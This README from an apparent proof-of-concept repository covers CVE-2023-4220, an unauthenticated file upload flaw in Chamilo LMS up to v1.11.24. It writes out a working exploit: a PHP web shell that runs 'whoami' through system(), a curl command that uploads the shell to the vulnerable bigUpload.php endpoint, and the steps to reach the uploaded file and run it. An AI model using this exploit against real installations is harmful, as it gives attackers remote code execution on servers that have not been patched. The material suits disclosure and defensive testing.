Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.# Chamilo-LMS-Unauthenticated-File-Upload-
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
### Affected Version ≤v1.11.24
### **CVE Identifier** CVE-2023-4220
## **Vulnerability Summary**
The big file upload functionality by `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` allows arbitrary files to be uploaded to `/main/inc/lib/javascript/bigupload/files` directory within the web root.
### **Proof-of-Concept**
- If `/main/inc/lib/javascript/bigupload/files` directory exist we can upload Arbitrary file as;
- Create a malicious php file `echo '<?php system("whoami"); ?>' > dollarboysushil.php`
.png)
- We can then upload this file by issuing following command
```
`$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
```
.png)
- We can check our file is uploaded by visiting the `/main/inc/lib/javascript/bigupload/files` directory
.png)
- And we can execute it by clicking the php file, which gives the output of `whoami` command
.png)
[4.0K] /data/pocs/f60ff98631bd97357beeed44027871ce6774e2b0
├── [4.0K] images
│ ├── [ 31K] Untitled(1).png
│ ├── [ 28K] Untitled(2).png
│ ├── [ 42K] Untitled(3).png
│ └── [ 20K] Untitled(4).png
└── [1.4K] README.md
1 directory, 5 files